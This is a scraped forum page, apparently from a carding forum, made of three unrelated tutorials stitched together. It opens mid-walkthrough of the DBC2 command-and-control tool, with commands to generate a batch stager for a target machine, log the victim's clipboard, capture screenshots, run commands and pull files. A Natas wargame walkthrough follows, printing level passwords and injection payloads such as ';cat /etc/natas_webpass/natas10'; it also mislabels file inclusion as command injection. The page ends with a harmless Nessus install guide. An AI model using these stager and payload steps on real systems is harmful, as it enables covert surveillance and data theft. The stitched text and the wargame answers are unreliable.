![[Image: 8.png?w=687&ssl=1]](https://i1.wp.com/2.bp.blogspot.com/-SoG_dEenruA/XLACLRT8oFI/AAAAAAAAd8U/hOugxqtt8xU8SMTLZT2EqcjgWfZMiI5vACLcBGAs/s1600/8.png?w=687&ssl=1)
Now let’s check if the stage is published using the command given below:
listPublishedStage
1
listPublishedStage
![[Image: 9.png?w=687&ssl=1]](https://i2.wp.com/3.bp.blogspot.com/-BVo54jErhOs/XLACLxn-vVI/AAAAAAAAd8c/SLhn9oM2xjQ7_pZ7mGN5wRVC23KeFgSMwCLcBGAs/s1600/9.png?w=687&ssl=1)
Now that stage is uploaded, let’s use it to create a stager. We are going to create a batch file. But we can use many other types of stager options. This tool provides stager in macro, oneliner, JavaScript, MS build sct and much more. This command will create a stager.bat in the tmp directory. We sent this bat file to our target machine.
genStager batch default
1
genStager batch default
![[Image: 10.png?w=687&ssl=1]](https://i1.wp.com/1.bp.blogspot.com/-ZNPtwy0sCqc/XLACGQ47McI/AAAAAAAAd7c/Vgk_NNvTkIU6WmKr6p0hvfgpSnaomvLcQCLcBGAs/s1600/10.png?w=687&ssl=1)
After the batch file is executed on the target machine, we will be informed with a message on the terminal that Agent found with ID. Now we will use the list command to see the list of the agents. And then we will copy the AgentID and then use it to interact with the session as shown in the given image.
list
use [AgentID]
1
2
list
use [AgentID]
![[Image: 12.png?w=687&ssl=1]](https://i0.wp.com/3.bp.blogspot.com/-cviL_CC_jZc/XLACGFzfWAI/AAAAAAAAd7U/eN2rHNyJ9j4dIERnq_h-7Sm-Mx6WJO98ACLcBGAs/s1600/12.png?w=687&ssl=1)
This will create a file on the Dropbox with the .status extension as shown in the given image.
![[Image: 13.png?w=687&ssl=1]](https://i0.wp.com/2.bp.blogspot.com/-Npymm7Rko6c/XLACHfyHqpI/AAAAAAAAd7g/NUHdzXTNu5gILnDaehZarAy3XMabCXzSQCLcBGAs/s1600/13.png?w=687&ssl=1)
Clipboard Sniffing
We can get the clipboard data that the target has on its clipboard. That is., the data he/she has copied. To do this we will have to start a sniffer using the command clipboardLogger start. Then wait till the target copies some data. Then Stop the sniffer using the command clipboardLogger stop. After stopping the sniffer the clipboard will be saved in a text file inside the incoming directory.
clipboardLogger start
clipboardLogger stop
1
2
clipboardLogger start
clipboardLogger stop
![[Image: 14.png?w=687&ssl=1]](https://i2.wp.com/4.bp.blogspot.com/-j3z87SQvmss/XLACHh9awVI/AAAAAAAAd7k/plF8KVMiF6Y8W7KV9aGCwQrvCCYvRLLGwCLcBGAs/s1600/14.png?w=687&ssl=1)
Let’s take a look at what target copied on his/her machine. We are going to use the cat command on a new Kali terminal to read the file as shown in the given image.
cat /root/DBC2/incoming/clipboardlogger.txt
1
cat /root/DBC2/incoming/clipboardlogger.txt
![[Image: 15.png?w=687&ssl=1]](https://i0.wp.com/2.bp.blogspot.com/-08iK4R5DaSo/XLACH82DtRI/AAAAAAAAd7o/CfFenFtbj08fP-CuN6wWsVqM6ke8EbeDwCLcBGAs/s1600/15.png?w=687&ssl=1)
Capturing Screenshot
Now furthermore we can grab a screenshot of then target machine. To do this we will use the screenshot command as shown in the given image.
screenshot
1
screenshot
![[Image: 16.png?w=687&ssl=1]](https://i2.wp.com/1.bp.blogspot.com/-RcvpG05VYbU/XLACITKF_tI/AAAAAAAAd7s/cQX85JYIWkAz6Y2P3cThauxvJNE9NGgIwCLcBGAs/s1600/16.png?w=687&ssl=1)
The screenshot will be captured and stored in the incoming directory. We can see that the target is browsing a website on his/her machine in the given image.
![[Image: 17.png?w=687&ssl=1]](https://i2.wp.com/3.bp.blogspot.com/-3NkExnXgtNY/XLACIhRNs_I/AAAAAAAAd7w/f5bhzGbHWf0_V-g903UHIcRFQKCGnRK5wCLcBGAs/s1600/17.png?w=687&ssl=1)
Command Execution
We can run some PowerShell commands on the target machine using the parameter cmd. This tool doesn’t offer the shell but it can execute one command at a time. So, we type cmd and then it asks the command that is to be executed. Here we run the command dir. And we have the list of files as shown in the given image.
cmd
dir
1
2
cmd
dir
![[Image: 18.png?w=687&ssl=1]](https://i2.wp.com/3.bp.blogspot.com/-b7cQ4wTEZ9M/XLACIm1dLnI/AAAAAAAAd70/o9rvmtKfrLEyRM-Gjm1CR39zs8upIq8mACLcBGAs/s1600/18.png?w=687&ssl=1)
File Download
Furthermore, we can download files from the target. To do this we will have to use the command getFile followed by the file name or path. This will download the file form the target to our attacker machine.
getFile sharetext.txt
1
getFile sharetext.txt
![[Image: 19.png?w=687&ssl=1]](https://i0.wp.com/2.bp.blogspot.com/-zLCPTwMW6pk/XLACJPheOcI/AAAAAAAAd74/K9svm39lFqcHGfWjmMeeVWQwfy4YCas-wCLcBGAs/s1600/19.png?w=687&ssl=1)
The tool will download the file inside the incoming directory we discussed earlier. We can view the file using cat command as shown in the image given below.
cat /root/DBC2/incoming/sharetext.txt
1
cat /root/DBC2/incoming/sharetext.txt
![[Image: 20.png?w=687&ssl=1]](https://i1.wp.com/3.bp.blogspot.com/-IyHCZKZIAPU/XLACJd9C_II/AAAAAAAAd78/29MFieE7SUAxNVGw7eVXPkNKe0HVUo7VACLcBGAs/s1600/20.png?w=687&ssl=1)
Today, we will play a war-game called Natas. It has a collection of 34 levels. OverTheWire Organization hosts this war-game. Absolute Beginners are the target audience. It teaches the basics of serverside web-security in a fun and challenging way. To play this war-game, go to the Natas website by clicking [To see content please register here] .
Objective
Find the password to login on to the next level.
Table of Content:- Introduction
- Level 0
- Level 0 → Level 1
- Level 1 → Level 2
- Level 2 → Level 3
- Level 3 → Level 4
- Level 4 → Level 5
- Level 5 → Level 6
- Level 6 → Level 7
- Level 7 → Level 8
- Level 8 → Level 9
- Level 9 → Level 10
Introduction
Natas have levels designed in such a way that each level has a different website. To reach each website we will enter the URL in this format.
natasX.natas.labs.overthewire.org, where X is the Level Number.
To access a level, we will use the username for that level (e.g. natas0 for level 0) and its password. The password for the next level is hidden on the current level. We will have to enumerate the password for the next level that is hidden in the current level. All the passwords are stored at /etc/natas_webpass/.
Level 0
This is a pretty simple level. We have the login credentials given on the Natas Introduction Page. Just browse the URL and enter the login credentials.
Username: natas0
Password: natas0
![[Image: 1.png?w=687]](https://i0.wp.com/2.bp.blogspot.com/-sJEhBSG5Y8I/XK4WsxC7KsI/AAAAAAAAd4Y/IZb9fgJVypYLslKmVSKpyzPmQxk5J4aDgCLcBGAs/s1600/1.png?w=687)
Level 0 → Level 1
On successfully logging in the natas0 webpage, we will have a message in front of us. It says “You can find the password for the next level on this page” as shown in the figure given below.
![[Image: 2.png?w=687]](https://i0.wp.com/3.bp.blogspot.com/-XqRmbCOhpMU/XK4WwQrKi6I/AAAAAAAAd68/8Y22PoYOiOc49gIC1bbRqzIb39oZhRtlQCEwYBhgL/s1600/2.png?w=687)
Now as per convention, let’s try to find something inside the source code. To view source code, we will right click on the webpage and select ‘View Page Source’. And there we have the password commented in the source code.
![[Image: 3.png?w=687]](https://i2.wp.com/2.bp.blogspot.com/-g6gZFdEBm9U/XK4W03YXoLI/AAAAAAAAd64/YPF52VcuzGIjnoSppJIxrzqp6_5XLfZJgCEwYBhgL/s1600/3.png?w=687)
Level 1 → Level 2
We use the credentials we extracted from the previous level to login into Level 1.
Username: natas1
Password: gtVrDuiDfck831PqWsLEZy5gyDz1clto
On successfully logging in the natas1 webpage, we will have a message in front of us. It says “You can find the password for the next level on this page, but rightclicking has been blocked!” as shown in the figure given below.
![[Image: 4.png?w=687]](https://i2.wp.com/2.bp.blogspot.com/-OSmW4gGriZU/XK4W4eRUrjI/AAAAAAAAd7E/5qtRoC9Vf9AUNnn4SAMWVzUshbhjcsw1QCEwYBhgL/s1600/4.png?w=687)
Now as right-clicking is disabled to view source code, we will have to find another way to retrieve the password form the source code. As we were using Mozilla Firefox and to open source code, we use ‘Ctrl + U’ shortcut. And there we have the password commented in the source code.
![[Image: 5.png?w=687]](https://i1.wp.com/1.bp.blogspot.com/-vcsyZuxd1rE/XK4W6lMDHaI/AAAAAAAAd7M/r4umjyItX04fjKEYF8t_6YmsqIUKWTRDACEwYBhgL/s1600/5.png?w=687)
Level 2 → Level 3
We use the credentials we extracted from the previous level to login into Level 2.
Username: natas2
Password: ZluruAthQk7Q2MqmDeTiUij2ZvWy2mBi
On successfully logging in the natas2 webpage, we will have a message in front of us. It says “There is nothing on this page” as shown in the figure given below.
![[Image: 6.png?w=687]](https://i0.wp.com/2.bp.blogspot.com/-lve3K4SUhzw/XK4W6womHmI/AAAAAAAAd7M/wJj6JOtzElswrbvxqCSxtrZD6Z28AH7xQCEwYBhgL/s1600/6.png?w=687)
So, we check the Source Code of the page, here we find that we have an image file named pixel.png located in the files directory.
![[Image: 7.png?w=687]](https://i1.wp.com/3.bp.blogspot.com/-j6C117gAHWs/XK4W7CfBaGI/AAAAAAAAd7I/OqDqFzBzCFgeO-zCz2v-rN7lUnwsYCKoQCEwYBhgL/s1600/7.png?w=687)
We opened the files directory as shown in the image given below. In this directory, we find the user.txt file.
![[Image: 8.png?w=687]](https://i2.wp.com/4.bp.blogspot.com/-KPktYnm4i74/XK4W7ZwQsUI/AAAAAAAAd7M/LREAvaB2d5A_OwkXe8FxyZgPgFXW8dXCgCEwYBhgL/s1600/8.png?w=687)
On opening it we find the passwords for the various users present on the target machine. But we need the password for the natas3.
![[Image: 9.png?w=687]](https://i0.wp.com/3.bp.blogspot.com/-vRijGAMTlpQ/XK4W7r0-iEI/AAAAAAAAd7Q/kzJWAl5afPw_oh5Q-ZCbLVH0_jQ9S4UlACEwYBhgL/s1600/9.png?w=687)
Level 3 → Level 4
We use the credentials we extracted from the previous level to login into Level 3.
Username: natas3
Password: sJIJNW6ucpu6HPZ1ZAchaDtwd7oGrD14
On successfully logging in the natas3 webpage, we will have a message in front of us. It says “There is nothing on this page” as shown in the figure given below.
![[Image: 10.png?w=687]](https://i1.wp.com/4.bp.blogspot.com/-5c6nMtzHB-4/XK4Wsk4zM7I/AAAAAAAAd7I/ZyU3VLj-ptIe6_t52-WiL_Ydxib9IFBwQCEwYBhgL/s1600/10.png?w=687)
So, we check the Source Code of the page, here we find a commented hint. It says “Not even Google will find it this time”. Search Engine spiders always leave the links that are disallowed the robots.txt file. So, we thought to check if this website has one.
![[Image: 11.png?w=687]](https://i1.wp.com/1.bp.blogspot.com/-t8m0atFuyqY/XK4WsxuhP7I/AAAAAAAAd7Q/sPI6uOJNFagzr0OSdPr-9-nGO0ZilxIswCEwYBhgL/s1600/11.png?w=687)
We opened the robots.txt as shown in the image given below. In this file, we find that the /s3cr3t/ directory is disallowed. So, let’s open and see for ourselves what’s inside the s3cr3t directory.
![[Image: 12.png?w=687]](https://i0.wp.com/2.bp.blogspot.com/-16QoKZ4i7VQ/XK4Wt4rkHrI/AAAAAAAAd7M/P_Z2ygVNgUgLEZUuxNxQlHx4-2jtgFHYQCEwYBhgL/s1600/12.png?w=687)
In this directory, we find the user.txt file.
![[Image: 13.png?w=687]](https://i0.wp.com/2.bp.blogspot.com/-R0unGhtzBU8/XK4WtwL3mGI/AAAAAAAAd7A/aazjoIsF8OsnKrw0AALnGnnkt4i7AZ1twCEwYBhgL/s1600/13.png?w=687)
On opening it we find the login credentials of the user natas4.
![[Image: 14.png?w=687]](https://i2.wp.com/4.bp.blogspot.com/-U9kPBOYMqg0/XK4Wt9mOURI/AAAAAAAAd7A/5zykiLJoFLU8JA1Lf0_pwYdbA1YQRkKDQCEwYBhgL/s1600/14.png?w=687)
Level 4 → Level 5
We use the credentials we extracted from the previous level to login into Level 4.
Username: natas4
Password: Z9tkRkWmpt9Qr7XrR5jWRkgOU901swEZ
On successfully logging in the natas4 webpage, we will have a message in front of us. It says “Access disallowed. You are visiting from “” while authorized users should come only from “//natas5.natas.labs.overthewire.org/” ”as shown in the figure given below.
![[Image: 15.png?w=687]](https://i1.wp.com/4.bp.blogspot.com/-Zu-8-sPIEPw/XK4WvFY_kXI/AAAAAAAAd7A/yNWfOQ9_zRMJFyTx3fB-_dSnYELV7WeQwCEwYBhgL/s1600/15.png?w=687)
We capture the request in Burp Suite, here we see that there is a parameter named Referer. It says natas4.
![[Image: 16.png?w=687]](https://i2.wp.com/1.bp.blogspot.com/-HtyzPwuyRt8/XK4WvF7oAwI/AAAAAAAAd7E/1MMMgbqRjYYdE28hfrRqQnpUrNwuUju8ACEwYBhgL/s1600/16.png?w=687)
We change that Referer parameter value to Natas5 as shown in the image given below.
![[Image: 17.png?w=687]](https://i0.wp.com/1.bp.blogspot.com/-yQrJr1xTM9I/XK4WvjjIeBI/AAAAAAAAd7E/UEds2BnbmN4AzJWn4_OuMgtLHwJvsGOlQCEwYBhgL/s1600/17.png?w=687)
After Forwarding the Request, we get the credentials of the user natas5.
![[Image: 18.png?w=687]](https://i1.wp.com/4.bp.blogspot.com/-5vNR0cbVG7o/XK4WwLIfTrI/AAAAAAAAd68/9sMBo30akQg7Zba_TItO5wyDoWUDJUi0ACEwYBhgL/s1600/18.png?w=687)
Level 5 → Level 6
We use the credentials we extracted from the previous level to login into Level 5.
Username: natas5
Password: iX6IOfmpN7AYOQGPwtn3fXpbaJVJcHfq
On successfully logging in the natas5 webpage, we will have a message in front of us. It says “Access disallowed. You are not logged in” as shown in the figure given below.
![[Image: 19.png?w=687]](https://i0.wp.com/3.bp.blogspot.com/-9iQzs7ZBLs8/XK4WwVMauII/AAAAAAAAd7I/xCH-0CF1Zy4crOeF58uhO6GuP8lSBeElQCEwYBhgL/s1600/19.png?w=687)
We capture the request in Burp Suite, here we see that there is a parameter named loggedin. It is set to 0.
![[Image: 20.png?w=687]](https://i1.wp.com/2.bp.blogspot.com/-VG4ElqhlHdA/XK4WxM8fmGI/AAAAAAAAd7Q/zXDf8VOlwcknZFpyJTyUKDht5ykRMQPlwCEwYBhgL/s1600/20.png?w=687)
We change that loggedin parameter value to 1 as shown in the image given below.
![[Image: 21.png?w=687]](https://i0.wp.com/3.bp.blogspot.com/-P49YlW7HOZY/XK4WxIcaiuI/AAAAAAAAd7E/vqbocmSTmDgMxOka1Rx2VHHwJ-J0RzUjgCEwYBhgL/s1600/21.png?w=687)
After Forwarding the Request, we get the credentials of the user natas6.
![[Image: 22.png?w=687]](https://i0.wp.com/1.bp.blogspot.com/-6zgEv0C1D3I/XK4WxftQAfI/AAAAAAAAd7E/QJH9EpE3KKspgB0WmLs9BRQ0BmQZQvwQwCEwYBhgL/s1600/22.png?w=687)
Level 6 → Level 7
We use the credentials we extracted from the previous level to login into Level 6.
Username: natas6
Password: aGoY4q2Dc6MgDq4oL4YtoKtyAg9PeHa1
On successfully logging in the natas6 webpage, we will have a form in front of us. It says “Input secret:” as shown in the figure given below.
![[Image: 23.png?w=687]](https://i2.wp.com/1.bp.blogspot.com/-O9wYhfTcUdE/XK4WyJLEbSI/AAAAAAAAd7A/_1LTdtXMvPA8q4IIJx45Y4gQAYNuemJBwCEwYBhgL/s1600/23.png?w=687)
We went ahead and look for some clues for that secret that we will have to enter in order to get the credentials for the next level. Here we see that a file is included called ‘secret.inc’.
![[Image: 24.png?w=687]](https://i0.wp.com/1.bp.blogspot.com/-IUAaDtTUk9w/XK4WyjPF1YI/AAAAAAAAd64/U_ckbBtp-gU8MQ3DrcXbcl2oW6NR7WCOwCEwYBhgL/s1600/24.png?w=687)
So, in order to grab the secret, we will browser the included file manually. So, as we can see in the given image, we can see that we add the /include/secret.inc in the URL. This gave us a blank page in response. So, we browsed the source code to find the secret commented on the webpage.
![[Image: 25.png?w=687]](https://i0.wp.com/1.bp.blogspot.com/-Fo8OaEcU6hg/XK4WzFuijZI/AAAAAAAAd64/HQZmu3BgN8c62rvh7fnZ7Mty43n0ENvMwCEwYBhgL/s1600/25.png?w=687)
Now we copied the secret and went back to the form which was asking the secret. After entering the secret, we get the login credentials for the next level.
![[Image: 26.png?w=687]](https://i2.wp.com/1.bp.blogspot.com/--SYsHDh0ppI/XK4WzlTIENI/AAAAAAAAd68/ESBJOB0iZMEd1JSuUlgZCEiwrzdZaODcACEwYBhgL/s1600/26.png?w=687)
Level 7 → Level 8
We use the credentials we extracted from the previous level to login into Level 7.
Username: natas7
Password: 7z3hEENjQtflzgnT29q7wAvMNfZdh0i9
On successfully logging in the natas7 webpage, we are given two links, Home and About as shown in the figure given below.
![[Image: 27.png?w=687]](https://i2.wp.com/3.bp.blogspot.com/-vw3qHyRJ8fQ/XK4WzldQ58I/AAAAAAAAd7I/qK0NJTDgmDgBS-gxjyv_05vZtVugao0zgCEwYBhgL/s1600/27.png?w=687)
So, we check the Source Code of the page. Here, we can see the links “index.php?page=” in the given image. We have also hinted the location of the password, that is., /etc/natas_webpass/natas8.
![[Image: 28.png?w=687]](https://i0.wp.com/2.bp.blogspot.com/-0caZXkgkQPE/XK4W0TVSvBI/AAAAAAAAd7Q/ASFeAvre4_A1MDzGsejPGhkNnYwZNrC5QCEwYBhgL/s1600/28.png?w=687)
As we can see in the given image, the link is shown in the address bar of our browser after clicking the Home link.
![[Image: 29.png?w=687]](https://i2.wp.com/1.bp.blogspot.com/-OOrEcXSRDkA/XK4W05R44NI/AAAAAAAAd64/XnNoA6KVFFQRRggGZJIvO_warDmhDVBOwCEwYBhgL/s1600/29.png?w=687)
So, we modify the link to read the password stored in the natas_webpass.
//natas7.natas.labs.overthewire.org/index.php?page=/etc/natas_webpass/natas8
And we have the password for the next level. This is called command injection.
![[Image: 30.png?w=687]](https://i2.wp.com/2.bp.blogspot.com/-lcQa5QsIMFM/XK4W1ONA_eI/AAAAAAAAd7A/g20fgP0f2UcIuntMcVaeCBY3K_DjQrXCwCEwYBhgL/s1600/30.png?w=687)
Level 8 → Level 9
We use the credentials we extracted from the previous level to login into Level 8.
Username: natas8
Password: DBfUBfqQG69KvJvJ1iAbMoIpwSNQ9bWe
On successfully logging in the natas8 webpage, we will have a form in front of us. It says “Input secret:” as shown in the figure given below.
![[Image: 31.png?w=687]](https://i1.wp.com/3.bp.blogspot.com/-pjD796TjbQI/XK4W17xAMmI/AAAAAAAAd68/NeFfMl3pIQwHzVNotwvCP3ZdPjNCI6HPACEwYBhgL/s1600/31.png?w=687)
We opened the source code and found that the secret is encoded. Also, we have a function which encodes the secret.
![[Image: 32.png?w=687]](https://i2.wp.com/4.bp.blogspot.com/-nJbBwX8x2_E/XK4W2JNToyI/AAAAAAAAd64/8ohft2HwpMo0rZXp6jfyFs3VkQnjLysKACEwYBhgL/s1600/32.png?w=687)
Hence to decode the secrete we just create a function that can decode the secret. This can be done as shown in the given image.
php -a
echo base64_decode(strrev(hex2bin('3d3d516343746d4d6d6c315669563362')));
1
2
php -a
echo base64_decode(strrev(hex2bin('3d3d516343746d4d6d6c315669563362')));
![[Image: 33.png?w=687]](https://i2.wp.com/1.bp.blogspot.com/-qgTjBXB25fw/XK4W2QdQBiI/AAAAAAAAd7M/Rxh88dFWDowOpIvP4-g8XorzVf13GtGBACEwYBhgL/s1600/33.png?w=687)
As we now have the decoded secret, we can use it extract the credentials from the webpage of natas8 as shown in the given image.
![[Image: 34.png?w=687]](https://i0.wp.com/2.bp.blogspot.com/-HjdCiTtpaO0/XK4W2ro9uDI/AAAAAAAAd7A/mVC8zLAZLvchBSGz7wj9LDDLnbWKd-4dACEwYBhgL/s1600/34.png?w=687)
Level 9 → Level 10
We use the credentials we extracted from the previous level to login into Level 9.
Username: natas9
Password: W0mMhUcRRnG8dcghE4qvk3JA9lGt8nDl
On successfully logging in the natas9 webpage, we will have a form in front of us. It says “Find words containing” as shown in the figure given below.
![[Image: 35.png?w=687]](https://i1.wp.com/2.bp.blogspot.com/-zfYNMUuQj9I/XK4W3KdKE2I/AAAAAAAAd7M/x5keCW44XJIAswjEHlUPXQLO5PV4jYbZQCEwYBhgL/s1600/35.png?w=687)
We opened the source code and found that when we enter a keyword, it is passed via a function called passthru(). It takes the value in $key and executes it directly.
![[Image: 36.png?w=687]](https://i1.wp.com/4.bp.blogspot.com/-BrJBimar6UE/XK4W3CDqQ1I/AAAAAAAAd7Q/vUEw_7y7qxAyE_xDZoyh9caflV3w5FKFgCEwYBhgL/s1600/36.png?w=687)
So, we will use ( to execute multiple commands. We will try to read the password at the next level.
;cat /etc/natas_webpass/natas10
1
;cat /etc/natas_webpass/natas10
![[Image: 37.png?w=687]](https://i2.wp.com/3.bp.blogspot.com/-KVC7lDQkU8A/XK4W3jUolSI/AAAAAAAAd68/kTYSMOyGDw8cb_ksT_CEenxf2euffNzxwCEwYBhgL/s1600/37.png?w=687)
As we can see that the password is printed on the screen as shown in the given image.
![[Image: 38.png?w=687]](https://i2.wp.com/1.bp.blogspot.com/-VRFlW0R5RBU/XK4W39WLzyI/AAAAAAAAd7A/asUzxZ3wUrUGsVvLZTosoDZcqZctkxNuACEwYBhgL/s1600/38.png?w=687)
Level 10 → Level 11
We use the credentials we extracted from the previous level to login into Level 10.
Username: natas10
Password: nOpp1igQAkUzaI1GUUjzn1bFVj7xCNzu
On successfully logging in the natas10 webpage, we will have a form in front of us. It says “For security reasons, we now filter on certain characters Find words containing” as shown in the figure given below.
![[Image: 39.png?w=687]](https://i2.wp.com/2.bp.blogspot.com/-5VBltCV1HlQ/XK4W4H3BtgI/AAAAAAAAd7I/cUqzPW_sVg47HR0xeB-k21-AW1J116EAACEwYBhgL/s1600/39.png?w=687)
We opened the source code and found that when we enter a keyword, it is passed via a function called passthru(). It takes the value in $key and it filters the input of the characters (/;|&) as shown in the given image.
![[Image: 40.png?w=687]](https://i0.wp.com/3.bp.blogspot.com/-ZNUP42924iQ/XK4W4-Ig8bI/AAAAAAAAd7I/TlFtzDIu-Swa6u0M9ZeowplfOQPcKiZgQCEwYBhgL/s1600/40.png?w=687)
So, we will use (.*) to execute multiple commands. We will try to read the password at the next level.
.*/etc/natas_webpass/natas10
1
.*/etc/natas_webpass/natas10
![[Image: 41.png?w=687]](https://i1.wp.com/3.bp.blogspot.com/-5Q-OQS3qwkA/XK4W5XiRklI/AAAAAAAAd7I/7GrCYNKAIHMtiDyBhBK10qDp_j8CN7ptACEwYBhgL/s1600/41.png?w=687)
As we can see that the password is printed on the screen as shown in the given image.
|
|
|
|
| [Guide] For Beginner’s to Nessus |
|
Posted by: NINZA - 05-14-2020, 12:00 PM - Forum: Carders Home
- No Replies
|
 |
In this article, we will learn about Nessus which is a network vulnerability scanner. There are various network vulnerability scanners but Nessus is one of the best because of its most successful GUI. Therefore, it is widely used in multiple organizations. The tools were developed by Renuad Deraison in the year 1998.
Table of Content - Introduction to Nessus
- Linux Installation
- Running Vulnerability Scans
- Windows Installation
Introduction to Nessus
Nessus is a network vulnerability scanner that utilizes the Common Vulnerabilities and Exposures engineering for simple cross-connecting between agreeable security instruments. Nessus utilizes the Nessus Attack Scripting Language (NASL), a basic language that portrays singular dangers and potential assaults. Nessus has a measured design comprising of incorporated servers that direct examining, and remote customers that take into account chairman communication. Executives can incorporate NASL portrayals of every presumed powerlessness to create altered outputs. Noteworthy abilities of Nessus include:- Compatible with all OS
- Scans for vulnerabilities in the local and remote host
- Informs about missing security in detail
- Applies various attacks in order to pinpoint a vulnerability
- It can schedule security audits
- Runs security tests
Linux Installation
Let’s start the installation on Linux. Here we are installing Nessus on an Ubuntu 18 Machine. Firstly, we will invoke a root shell using sudo bash command. We are going to install Nessus using a deb file that can be downloaded from the [To see content please register here] . We traverse to the directory where we have downloaded the deb file. We will change permission to execute the file and then we will install the Nessus.deb file using the dpkg command.
chmod 777 Nessus-8.2.3-ubuntu910_amd64.deb
dpkg -I Nessus*.deb
1
2
chmod 777 Nessus-8.2.3-ubuntu910_amd64.deb
dpkg -I Nessus*.deb
![[Image: 1.png?w=687&ssl=1]](https://i2.wp.com/2.bp.blogspot.com/-VtwvDaO_vVo/XKtjAVUbdvI/AAAAAAAAd2w/CWNPwuvYxd4ljYdC0tJvtpFmbwmE1R39ACLcBGAs/s1600/1.png?w=687&ssl=1)
Afterwards, as shown in the image using the following command to run Nessus :
/etc/init.d/nessusd start
1
/etc/init.d/nessusd start
![[Image: 2.png?w=687&ssl=1]](https://i0.wp.com/2.bp.blogspot.com/-sUHDfiqsm1A/XKtjDNuKiSI/AAAAAAAAd3U/W6vuoiwZmBox_Tauulj2p8c8dC-0a56mACLcBGAs/s1600/2.png?w=687&ssl=1)
This command will open our default browser, which in our case is Mozilla Firefox. And we will be greeted with a Warning about Certificate Installation. To use Nessus, we will have to get through this warning. The first click on Advanced followed by Accept the Risk and Continue.
![[Image: 3.png?w=687&ssl=1]](https://i0.wp.com/4.bp.blogspot.com/-3mIxbw0H_iQ/XKtjDgpPLfI/AAAAAAAAd3c/nAdt1olk9Q8gusRCPws8Vrgcxef0NsqeACLcBGAs/s1600/3.png?w=687&ssl=1)
Then it will ask you to create an account, as shown in the image, give the details for it.
![[Image: 4.png?w=687&ssl=1]](https://i0.wp.com/4.bp.blogspot.com/-zGhKr9sDeyw/XKtjEKGlbXI/AAAAAAAAd3k/klP0YUXlQ2EDp2vjmG-RZlOrjib9QpJ9ACLcBGAs/s1600/4.png?w=687&ssl=1)
Further, it will ask you for an activation code, provide that just as its shown in the image below :
![[Image: 5.png?w=687&ssl=1]](https://i0.wp.com/2.bp.blogspot.com/-tAjMt7IcpSU/XKtjEASctVI/AAAAAAAAd3g/fCFvD8aLneY2NwEYqw65n1jwvT8A8tgAgCLcBGAs/s1600/5.png?w=687&ssl=1)
Once all the formalities are done, Nessus will open and will allow you to perform any scan you desire as shown in the image below :
![[Image: 6.png?w=687&ssl=1]](https://i2.wp.com/2.bp.blogspot.com/-2b3cJuO85kw/XKtjEovcdwI/AAAAAAAAd3o/etq4pxnB3106-mzfU8lNar1TeVnpxSinwCLcBGAs/s1600/6.png?w=687&ssl=1)
Running Vulnerability Scans
When you click on create new scans, there will be multiple scans that you can see in the following image :
![[Image: 7.png?w=687&ssl=1]](https://i0.wp.com/1.bp.blogspot.com/-p4LBY0Syhi4/XKtjE7sSdFI/AAAAAAAAd3s/s2SCVKRNcnYrykYyY7N-9hWAsne6J72lACLcBGAs/s1600/7.png?w=687&ssl=1)
And then in the policies tab, you can generate different policies on which the scans are based.
![[Image: 8.png?w=687&ssl=1]](https://i2.wp.com/3.bp.blogspot.com/-Z1Gp2MsRvg4/XKtjFF65fVI/AAAAAAAAd3w/V5uoNEqYJkYlqsDe3iYR-bOX_acLiQtYgCLcBGAs/s1600/8.png?w=687&ssl=1)
There are various policies templates too, as shown in the image below :
![[Image: 9.png?w=687&ssl=1]](https://i1.wp.com/2.bp.blogspot.com/-ExDTn776mj0/XKtjFcO8iBI/AAAAAAAAd30/OHxLmGpqmKAnElz1973ajkzov-LHa_0pACLcBGAs/s1600/9.png?w=687&ssl=1)
In order to start a new scan, go to scan templates and select a new scan and then give it a name and target IP as shown in the following image :
![[Image: 10.png?w=687&ssl=1]](https://i2.wp.com/3.bp.blogspot.com/-kFgXpCbdndg/XKtjAarPYFI/AAAAAAAAd20/7ftCcGyKd5M7DnO4COjHcKvcGfnRuv76ACLcBGAs/s1600/10.png?w=687&ssl=1)
Once the scan is done, it will show you the result; this result will clearly indicate the risk that a vulnerability poses which goes from low to critical.
![[Image: 11.png?w=687&ssl=1]](https://i1.wp.com/2.bp.blogspot.com/-x86d4qbsjZY/XKtjAo1bL8I/AAAAAAAAd24/DML1o_lCxsIqJbcnN_KnmctZasjXgdGXgCLcBGAs/s1600/11.png?w=687&ssl=1)
When you click on the vulnerability, for instance here we clicked on the first one which is a critical threat, it will give you details about vulnerability such as its severity, whether its RPC or not, its version, etc. as shown in the image below :
![[Image: 12.png?w=687&ssl=1]](https://i2.wp.com/4.bp.blogspot.com/-utMpSc7kn1Y/XKtjBcQ5qAI/AAAAAAAAd28/M6cgp1nt_rgSOCmK7prqLE6xpkG7Pxi_gCLcBGAs/s1600/12.png?w=687&ssl=1)
Now, we clicked on the different one which is a high-level threat, it will give you details about vulnerability such as its severity, whether its RPC or not, its version, etc. as shown in the image below :
![[Image: 13.png?w=687&ssl=1]](https://i1.wp.com/2.bp.blogspot.com/-xEV0kQ_Q7aI/XKtjBbYuVCI/AAAAAAAAd3A/2zvmbfgV_vE_V6IzwyxYVqu3uytYGuY4ACLcBGAs/s1600/13.png?w=687&ssl=1)
Windows Installation
Download Nessus for windows from [To see content please register here] . And open it similarly in the browser to set it up.
![[Image: 14.png?w=687&ssl=1]](https://i2.wp.com/1.bp.blogspot.com/-j8i4a3E7yho/XKtjBnUKP7I/AAAAAAAAd3E/4EUbdP05sTEaDLZTEPVm4f5UAQ3-2-5_gCLcBGAs/s1600/14.png?w=687&ssl=1)
Just like in Linux, we will be greeted with a Warning about Certificate Installation. To use Nessus, we will have to get through this warning. First click on Advanced followed by Accept the Risk and Continue.
![[Image: 15.png?w=687&ssl=1]](https://i2.wp.com/2.bp.blogspot.com/-OGsOeeDmRME/XKtjCIPK1tI/AAAAAAAAd3I/x74mcdusIbcxx6r3DIzRWznj0CVJRLjYwCLcBGAs/s1600/15.png?w=687&ssl=1)
Then it will ask you to create an account, as shown in the image, give the details for it.
![[Image: 16.png?w=687&ssl=1]](https://i1.wp.com/1.bp.blogspot.com/--IcCHAEqyp0/XKtjCebqeLI/AAAAAAAAd3M/pZz3AL9Rlcg0XkQzo1NMAW6x3DZiAcFAgCLcBGAs/s1600/16.png?w=687&ssl=1)
Further, it will ask you for an activation code, provide that just as its shown in the image below :
![[Image: 17.png?w=687&ssl=1]](https://i1.wp.com/2.bp.blogspot.com/-B7xYc8fU7To/XKtjCzIRtpI/AAAAAAAAd3Q/zdsfIC2JStA28If9X6ucnGzlf18fiY-_ACLcBGAs/s1600/17.png?w=687&ssl=1)
And then you can start your scans in a similar way just as shown above in Linux.
